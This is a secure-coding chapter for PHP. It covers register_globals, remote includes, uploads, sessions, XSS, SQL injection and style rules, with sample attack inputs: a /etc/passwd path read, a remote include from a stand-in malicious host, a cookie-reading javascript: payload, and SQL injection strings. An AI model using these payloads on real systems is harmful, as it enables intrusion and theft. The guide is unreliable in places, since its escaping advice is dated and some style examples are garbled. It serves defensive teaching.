Language Specific Guidelines - PHP

PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely used server-side scripting language for creating dynamic web pages. Server-side means that the code is interpreted on the server before the result is sent to the client. PHP code is embedded in HTML code and it is easy to get started with, while still very powerful for the experienced programmer. However being extremely feature rich and easy to get started with is not only positive, it to often leads to insecure applications vulnerable to several different kinds of attacks. This chapter will try to explain the most common attacks and how we can protect ourselves against them.

PHP is open-source and freely downloadable from <http://www.php.net/>

Global variables

Variables declared outside of functions are considered global by PHP. The opposite is that a variable declared inside a function, is considered to be in local function scope. PHP handles global variables quite differently that say languages like C. In C, a global variable is always available in local scope as well as global, as long as it is not overridden by a local definition. In PHP things are different; to access a global variable from local scope you have to declare it global in that scope. The following example shows this:

$sTitle = 'Page title'; // Global scope

function printTitle()

{

global $sTitle; // Declare the variable as global

echo $sTitle; // Now we can access it just like it was a local variable

}

All variables in PHP are represented by a dollar sign followed by the name of the variable. The names are case-sensitive and must start with a letter or underscore, followed by any number of letters, numbers, or underscores.

register\_globals

The register\_globals directive makes input from GET, POST and COOKIE, as well as session variables and uploaded files, directly accessible as global variables in PHP. This single directive, if set in php.ini, is the root of many vulnerabilities in web applications.

Let's start by having a look at an example:

if ($bIsAlwaysFalse)

{

// This is never executed:

$sFilename = 'somefile.php';

}

// ...

if ( $sFilename != '' )

{

// Open $sFilename and send it's contents to the browser

// ...

}

If we were to call this page like: page.php?sFilename=/etc/passwd with register\_globals set, it would be the same as to write the following:

$sFilename = '/etc/passwd'; // This is done internally by PHP

if ( $bIsAlwaysFalse )

{ // This is never executed:

$sFilename = 'somefile.php';

}

// ...

if ( $sFilename != '' )

{

// Open $sFilename and send it's contents to the browser

// ...

}

PHP takes care of the $sFilename = '/etc/passwd'; part for us. What this means is that a malicious user could inject his/her own value for $sFilename and view any file readable under the current security context.

We should always think of that “what if” when writing code. So turning off register\_globals might be a solution but what if our code ends up on a server with register\_globals on. We must bear in mind that all variables in global scope could have been tampered with. The correct way to write the above code would be to make sure that we always assign a value to $sFilename:

// We initialize $sFilename to an empty string

$sFilename = '';

if ( $bIsAlwaysFalse ) {

// This is never executed:

$sFilename = 'somefile.php';

}

...

if ( $sFilename != '' ) {

// Open $sFilename and send it's contents to the browser

...

}

Another solution would be to have as little code as possible in global scope. Object oriented programming (OOP) is a real beauty when done right and I would highly recommend you to take that approach. We could write almost all our code in classes that is generally safer and promotes reuse. Like we never should assume that register\_globals is off we should never assume it is on. The correct way to get input from GET, POST, COOKIE etc is to use the superglobals that were added in PHP version 4.1.0. These are the $\_GET, $\_POST, $\_ENV, $\_SERVER, $\_COOKIE, $\_REQUEST $\_FILES, and $\_SESSION arrays. The term superglobals is used since they are always available without regard to scope.

Includes and Remote files

The PHP functions include() and require() provides an easy way of including and evaluating files. When a file is included, the code it contains inherits the variable scope of the line on which the include statement was executed. All variables available at that line will be available within the included file. And the other way around, variables defined in the included file will be available to the calling page within the current scope. The included file does not have to be a file on the local computer. If the allow\_url\_fopen directive is enabled in php.ini you can specify the file to be included using an URL.

PHP will get it via HTTP instead of a local pathname. While this is a nice feature it can also be a big security risk.

Note: The allow\_url\_fopen directive is enabled by default.

A common mistake is not considering that every file can be called directly, that is a file written to be included is called directly by a malicious user. An example:

// file.php

$sIncludePath = '/inc/';

include($sIncludePath . 'functions.php');

...

// functions.php

include($sIncludePath . 'datetime.php');

include($sIncludePath . 'filesystem.php');

In the above example, functions.php is not meant to be called directly, so it assumes the calling page sets $sIncludePath. By creating a file called datetime.php or filesystem.php on another server (and turning off PHP processing on that server) we could call functions.php like the following:

functions.php?sIncludePath=http://www.malicioushost.com/

PHP would nicely download datetime.php from the other server and execute it, which means a malicious user could execute code of his/her choice in functions.php. I would recommend against includes within includes (as the example above). In my opinion, it makes it harder to understand and get an overview of the code. Right now, we want to make the above code safe and to do that we make sure that functions.php really is called from file.php. The code below shows one solution:

// file.php

define('SECURITY\_CHECK', true);

$sIncludePath = '/inc/';

include($sIncludePath . 'functions.php');

...

// functions.php

if ( !defined('SECURITY\_CHECK') ) {

// Output error message and exit.

...

}

include($sIncludePath . 'datetime.php');

include($sIncludePath . 'filesystem.php');

The function define() defines a constant. Constants are not prefixed by a dollar sign ($) and thus we can not break this by something like: functions.php?SECURITY\_CHECK=1 Although not so common these days you can still come across PHP files with the .inc extension. These files are only meant to be included by other files. What is often overlooked is that these files, if called directly, does not go through the PHP preprocessor, and thus is sent in clear text. We should be consistent and stick with one extension that we know is processed by PHP. The .php extension is recommended.

File upload

PHP is a feature rich language and one of it is built in features is automatic handling of file uploads. When a file is uploaded to a PHP page, it is automatically saved to a temporary directory. New global variables describing the uploaded file will be available within the page. Consider the following HTML code presenting a user with an upload form:

<form action= “page.php “ method= “POST “ enctype= “multipart/form-data “> <input type= “file “ name= “testfile “ />

<input type= “submit “ value= “Upload file “ />

</form>

After submitting the above form, new variables will be available to page.php based on the “testfile” name.

// Variables set by PHP and what they will contain:

// A temporary path/filename generated by PHP. This is where the file is

// saved until we move it or it is removed by PHP if we choose not to do anything with it.

$testfile

// The original name/path of the file on the client's system.

$testfile\_name

// The size of the uploaded file in bytes.

$testfile\_size

// The mime type of the file if the browser provided this information. For example: “image/jpeg”.

$testfile\_type

A common approach is to check if $testfile is set and if it is, start working on it right away, maybe copying it to a public directory, accessible from any browser. You probably already guessed it; this is a very insecure way of working with uploaded files. The $testfile variable does not have to be a path/file to an uploaded file. It could come from GET, POST, and COOKIE etc. A malicious user could make us work on any file on the server, which is not very pleasant. We should not assume anything about the register\_globals directive, it could be on or off for all we care, our code should work with or without it and most importantly it will be just as secure regardless of configuration settings. So the first thing we should do is to use the $\_FILES array:

// The temporary filename generated by PHP

$\_FILES['testfile']['tmp\_name']

// The original name/path of the file on the client's system. $\_FILES['testfile']['name']

// The mime type of the file if the browser provided this information.

// For example: “image/jpeg “.

$\_FILES['testfile']['type']

// The size of the uploaded file in bytes.

$\_FILES['testfile']['size']

The built in functions is\_uploaded\_file() and/or move\_uploaded\_file() should be called with $\_FILES['testfile']['tmp\_name'] to make sure that the file really was uploaded by HTTP POST. The following example shows a straightforward way of working with uploaded files:

if ( is\_uploaded\_file($\_FILES['testfile']['tmp\_name']) ) {

// Check if the file size is what we expect (optional)

if ( $\_FILES['sImageData']['size'] > 102400 ) {

// The size can not be over 100kB, output error message and exit. ...

}

// Validate the file name and extension based on the original name in $\_FILES['testfile']['name'],

// we do not want anyone to be able to upload .php files for example. ...

// Everything is okay so far, move the file with move\_uploaded\_file

...

}

Note: We should always check if a variable in the superglobals arrays is set with isset() before accessing it. I choose not to do that in the above examples because I wanted to keep them as simple as possible.

Sessions

Sessions in PHP is a way of saving user specific variables or “state “ across subsequent page requests. This is achieved by handing a unique session id to the browser which the browser submits with every new request. The session is alive as long as the browser keeps sending the id with every new request and not to long time passes between requests. The session id is generally implemented as a cookie but it could also be a value passed in the URL. Session variables are saved to files in a directory specified in php.ini, the filenames in this directory are based on the session ids. Each file will contain the variables for that session in clear text. First we are going to look at the old and insecure way of working with sessions; unfortunately this way of working with sessions is still widely used.

// first.php

// Initalize session management

session\_start();

// Authenticate user

if ( ... ) {

$bIsAuthenticated = true;

} else {

$bIsAuthenticated = false;

}

// Register $bIsAuthenticated as a session variable session\_register('bIsAuthenticated');

echo '<a href= “second.php “>To second page</a>';

// second.php

// Initalize session management

session\_start();

// $bIsAuthenticated is automatically set by PHP

if ( $bIsAuthenticated ) {

// Display sensitive information ...

}

Why is this insecure? It is insecure because a simple second.php?bIsAuthenticated=1 would bypass the authentication in first.php. session\_start() is called implicitly by session\_register() or by PHP if the session.auto\_start directive is set in php.ini (defaults to off). However to be consistent and not to rely on configuration settings we always call it for ourselves. The recommend way of working with sessions:

// first.php

// Initalize session management

session\_start();

// Authenticate user

if ( ... ) {

$\_SESSION['bIsAuthenticated'] = true;

} else {

$\_SESSION['bIsAuthenticated'] = false;

}

echo '<a href= “second.php”>To second page</a>';

// second.php

// Initalize session management

session\_start();

if ($\_SESSION['bIsAuthenticated'] ) {

// Display sensitive information

...

}

Not only is the above code more secure it is also, in my opinion, much cleaner and easier to understand. Note: On multi host systems, remember to secure the directory containing the session files (typically held in /tmp), otherwise users might be able to create custom session files for other sites.

Cross-site scripting (XSS)

Consider a guestbook application written in PHP. The visitor is presented with a form where he/she enters a message. This form is then posted to a page which saves the data to a database. When someone wishes to view the guestbook all messages are fetched from the database to be sent to the browser. For each message in the database the following code is executed:

// $aRow contains one row from a SQL-query

echo '<td>';

echo $aRow['sMessage'];

echo '</td>'; ...

What this means is that exactly what is entered in the form is later sent unchanged to every visitor's browser. Why is this a problem? Picture someone entering the character < or >, that would probably break the page's formatting. However, we should be happy if that is all that happens. This leaves the page wide open for injecting JavaScript, HTML, VBScript, Flash, ActiveX etc. A malicious user could use this to present new forms, fooling users to enter sensitive data. Unwanted advertising could be added to the site. Cookies can be read with JavaScript on most browsers and thus most session ids, leading to hijacked accounts.

What we want to do here is to convert all characters that have special meaning to HTML into HTML entities. Luckily PHP provides a function for doing just that, this function is called htmlspecialchars() and converts the characters “, &, < and > into &amp; “ &lt; and &gt;. (PHP has another function called htmlentities() which converts all characters that have HTML entities equivalents, but htmlspecialchars suits our needs perfectly.)

// The correct way to do the above would be:

echo '<td>';

echo htmlspecialchars($aRow['sMessage']);

echo '</td>'; ...

One might wonder why we do not do this right away when saving the message to the database. Well that is just begging for trouble, then we would have to keep track of where the data in every variable comes from, and we would have to treat input from GET, POST differently from data we fetch from a database. It is much better to be consistent and call htmlspecialchars() on the data right before we send it to the browser. This should be done on all unfiltered input before sending it to the browser.

Why htmlspecialchars is not always enough

Let's take a look at the following code:

// This page is meant to be called like: page.php?sImage=filename.jpg

echo '<img src= “' . htmlspecialchars($\_GET['sImage']) . '” />';

The above code without htmlspecialchars would leave us completely vulnerable to XSS attacks but why is not htmlspecialchars enough?

Since we are already in a HTML tag we do not need < or > to be able to inject malicious code. Look at the following:

// We change the way we call the page:

// page.php?sImage=javascript:alert(document.cookie);

// Same code as before:

echo '<img src= “' . htmlspecialchars($\_GET['sImage']) . '” />'; <!—

The above would result in:

--> <img src= “javascript:alert(document.cookie);” />

“javascript:alert(document.cookie);” passes right through htmlspecialchars without a change. Even if we replace some of the characters with HTML numeric character references the code would still execute in some browsers.

<!-- This would execute in some browsers: -->

<img src= “javascript&#58;alert&#40;document.cookie&#41;;” />

There is no generic solution here other than to only accept input we know is safe, trying to filter out bad input is hard and we are bound to miss something. Our final code would look like the following:

// We only accept input we know is safe (in this case a valid filename)

if ( preg\_match('/^[0-9a-z\_]+\.[a-z]+$/i', $\_GET['sImage']) ) {

echo '<img src="' . $\_GET['sImage'] . '" />;';

}

SQL-injection

The term SQL-injection is used to describe the injection of commands into an existing SQL query. The Structured Query Language (SQL) is a textual language used to interact with database servers like MySQL, MS SQL and Oracle.

$iThreadId = $\_POST['iThreadId'];

// Build SQL query

$sSql = “SELECT sTitle FROM threads WHERE iThreadId = “ . $iThreadId;

To see what's wrong with to code above, let's take a look at the following HTML code: <form method=“post” action=“insecure.php”>

<input type=“text” name=“iThreadId” value=“4; DROP TABLE users” /> <input type=“submit” value=“Don't click here” />

</form>

If we submit the above form to our insecure page, the string sent to the database server would look like the following, which is not very pleasant:

SELECT sTitle FROM threads WHERE iThreadId = 4; DROP TABLE users

There are several ways you can append SQL commands like this, some dependent of the database server. To take this further, this code is common in PHP applications:

$sSql = “SELECT iUserId FROM users” .

“ WHERE sUsername = '“ .

$\_POST['sUsername'] .

“' AND sPassword = '“ .

$\_POST['sPassword'] . “'“;

We can easily skip the password section here by entering “theusername'--” as the username or “' OR '' = '“ as the password (without the double-quotes), resulting in:

// Note: -- is a line comment in MS SQL so everything after it will be skipped

SELECT iUserId FROM users WHERE sUsername = 'theusername'--' AND sPassword = ''

// Or:

SELECT iUserId FROM users WHERE sUsername = 'theusername' AND sPassword = '' OR '' = ''

Here is where validation comes into play, in the first example above we must check that $iThreadId really is a number before we append it to the SQL-query.

if ( !is\_numeric($iThreadId) ) {

// Not a number, output error message and exit.

...

}

The second example is a bit trickier since PHP has built in functionality to prevent this, if it is set. This directive is called magic\_quotes\_gpc, which like register\_globals never should have been built into PHP, in my opinion that is, and I will explain why. To have characters like ' in a string we have to escape them, this is done differently depending on the database server:

// MySQL:

SELECT iUserId FROM users WHERE sUsername = 'theusername\'--' AND sPassword = ''

// MS SQL Server: SELECT iUserId FROM users WHERE sUsername = 'theusername''--' AND sPassword = ''

Now what magic\_quotes\_gpc does, if set, is to escape all input from GET, POST and COOKIE (gpc). This is done as in the first example above, that is with a backslash. So if you enter “theusername'--” into a form and submit it, $\_POST['sUsername'] will contain “theusername\'--”, which is perfectly safe to insert into the SQL-query, as long as the database server supports it (MS SQL Server doesn't). This is the first problem the second is that you need to strip the slashes if you're not using it to build a SQL-query. A general rule here is that we want our code to work regardless if magic\_quotes\_gpc is set or not. The following code will show a solution to the second example:

// Strip backslashes from GET, POST and COOKIE if magic\_quotes\_gpc is on

if (get\_magic\_quotes\_gpc()) {

// GET

if (is\_array($\_GET)) {

// Loop through GET array

foreach ($\_GET as $key => $value) {

$\_GET[$key] = stripslashes($value);

}

}

// POST

if (is\_array($\_POST)) {

// Loop through POST array

foreach ($\_POST as $key => $value) {

$\_POST[$key] = stripslashes($value);

}

}

// COOKIE

if (is\_array($\_COOKIE)) {

// Loop through COOKIE array

foreach ($\_COOKIE as $key => $value) {

$\_COOKIE[$key] = stripslashes($value);

}

}

}

function sqlEncode($sText)

{

$retval = '';

if ($bIsMySql) {

$retval = addslashes($sText);

} else {

// Is MS SQL Server

$retval = str\_replace("'", "''", $sText);

}

return $retval;

}

$sUsername = $\_POST['sUsername'];

$sPassword = $\_POST['sPassword'];

$sSql = "SELECT iUserId FROM users ".

" WHERE sUsername = '" . sqlEncode($sUsername) . "'" .

" AND sPassword = '". sqlEncode($sPassword)."'";

Preferably we put the if-statement and the sqlEncode function in an include. Now as you probably can imagine a malicious user can do a lot more than what I’ve shown you here, that is if we leave our scripts vulnerable to injection. I have seen examples of complete databases being extracted from vulnerabilities like the ones described above.

Code Injection

* include() and require() - Includes and evaluates a file as PHP code.
* eval() - Evaluates a string as PHP code.
* preg\_replace() - The /e modifier makes this function treat the replacement parameter as PHP code.

Command injection

exec(), passthru(), system(), popen() and the backtick operator (`) - Executes its input as a shell command.

When passing user input to these functions, we need to prevent malicious users from tricking us into executing arbitrary commands. PHP has two functions which should be used for this purpose, they are escapeshellarg() and escapeshellcmd().

Configuration settings

register\_globals

If set PHP will create global variables from all user input coming from get, post and cookie. If you have the opportunity to turn off this directive you should definitely do so. Unfortunately there is so much code out there that uses it so you are lucky if you can get away with it.

Recommended: off

safe\_mode

The PHP safe mode includes a set of restrictions for PHP scripts and can really increase the security in a shared server environment. To name a few of these restrictions: A script can only access/modify files and folders which has the same owner as the script itself. Some functions/operators are completely disabled or restricted, like the backtick operator.

disable\_functions

This directive can be used to disable functions of our choosing.

open\_basedir

Restricts PHP so that all file operations are limited to the directory set here and its subdirectories.

allow\_url\_fopen

With this option set PHP can operate on remote files with functions like include and fopen.

Recommended: off

error\_reporting

We want to write as clean code as possible and thus we want PHP to throw all warnings etc at us.

Recommended: E\_ALL

log\_errors

Logs all errors to a location specified in php.ini.

Recommended: on

display\_errors

With this directive set, all errors that occur during the execution of scripts, with respect to error\_reporting, will be sent to the browser. This is desired in a development environment but not on a production server, since it could expose sensitive information about our code, database or web server.

Recommended: off (production), on (development)

magic\_quotes\_gpc

Escapes all input coming in from post, get and cookie. This is something we should handle on our own.

This also applies to magic\_quotes\_runtime.

Recommended: off

post\_max\_size, upload\_max\_filesize and memory\_limit

These directives should be set at a reasonable level to reduce the risk of resource starvation attacks.

Recommended practices

Double versus Single quotes

// Double quotes:

$sSql = “SELECT iUserId FROM users WHERE sName = 'John Doe'“;

// Single quotes:

echo '<td width=“100”></td>';

As a general rule use double quotes with sql-commands, in all other cases use single quotes.

Do not rely on short\_open\_tag

If short\_open\_tag is set it allows the short form of PHP's open tag to be used, that is <? ?> instead of <?php ?>. Like register\_globals you should never assume that this is set.

String concatenation.

$sOutput = 'Hello ' . $sName; // Not: $sOutput = “Hello $sName”;

This increases readability and is less error prone.

Comment your code.

Always try to comment your code, regardless of how simple it may seem to you and remember to use English.

Complex code should always be avoided

If you find that you have trouble understanding code you've written then try to picture other people understanding it. Comments help but doesn't always do it here so rewrite!

Naming Conventions

Variable names should be in mixed case starting with lower case prefix

$sName, $iSizeOfBorder // string, integer

This makes it very easy to look at a variable and directly see what it contains. Here is a list of common prefixes:

* a Array
* b bool
* d double
* f float
* i int
* l long
* s string
* g\_ global (followed by normal prefix)

Boolean variables should use the prefix b followed by is, has, can or should

$bIsActive, $bHasOwner

This also applies to functions that return boolean, but without the b prefix, for example:

$user->hasEmail();

Negated boolean variable names must be avoided

var $bIsActive;

// Not: $bIsNotActive var $bHasId;

// Not: $bHasNoId

It's not directly obvious what that following code does:

if ( !$bIsNotActive ) {

...

}

Object variables should be all lowercase or use the prefix o or obj

$session, $page // Preferred $oSession $objPage

All lowercase is the preferred here but the important thing is to be consistent.

Constants must be all uppercase using underscore to separate words

$SESSION\_TIMEOUT, $BACKGROUND\_COLOR, $PATH

However, in general the use of such constants should be minimized and if needed replace them with functions.

Function names should start with a verb and be written in mixed case starting with lower case

validateUser(), fetchArray()

Abbreviations must not be uppercase when used in a name

$sHtmlOutput

// Not:

$sHTMLOutput

getPhpInfo()

// Not:

getPHPInfo()

Using all uppercase for the base name will give conflicts with the naming conventions given above.

SQL keywords should be all uppercase

SELECT TOP 10 sUsername, sName FROM users

This makes it much easier to understand and get an overview of a SQL query.

Private class variables should have underscore suffix

class MyClass

{

var $sName\_;

}

This is a way of separating public and private variables. However this is not as important as in other languages since in PHP you use the $this-> pointer to access private variables.

All names should be written in English

$iRowId // Not: $iRadId (Swedish)

English is the preferred language for international development. This also applies to comments.

Variables with a large scope should have long names, variables with a small scope can have short names

Temporary variables are best kept short. Someone reading such variables should be able to assume that its value is not used outside a few lines of code. Common temporary variables are $i, $j, $k, $m and $n. Since these variables should have small scope prefixes are a bit of overkill.

The name of the object is implicit, and should be avoided in a method name

$session->getId() // Not: $session->getSessionId()

The latter might seem natural when writing the class declaration, but is implicit in use, as shown in the example above.

The terms get/set must be used where an attribute is accessed directly.

$user->getName();

$user->setName($sName);

This is already common practice in languages like C++ and Java.

Abbreviations should be avoided

$session->initialize();

// Not:

$session->init();

$thread->computePosts();

// Not:

$thread->compPosts();

There is an exception to this rule and that is names that are better known for their shorter form, like HTML, CPU etc.

Syntax

Function and class declarations

function doSomething()

{

// ...

}

// Not:

function doSomething()

{

// ...

}

The same applies to class declaration.

Statements and curly brackets

if ( $bIsActive ) {

...

}

// Not:

if ( $bIsActive ) {

...

}

The first bracket should always be on the line after the statement, not on the same line. The code is much easier to follow this way. This also applies to for, switch, while etc.

Statements and spaces

if ( $sName == 'John' )

{

// ...

}

// Not:

if ($sName=='John') {

// ...

}

Summary

If I were to summarize this chapter in one word it would be validate, I can not stress this enough. Validate, validate and validate. Do not trust input from any source unless you can be 100% certain that it has not been tampered with. This applies to variables in global scope as well as input from GET, POST and COOKIE. Even data in a database can not be trusted if it sometime came from user input. Never send unfiltered output to the browser or we would surely be vulnerable to XSS attacks in one way or another.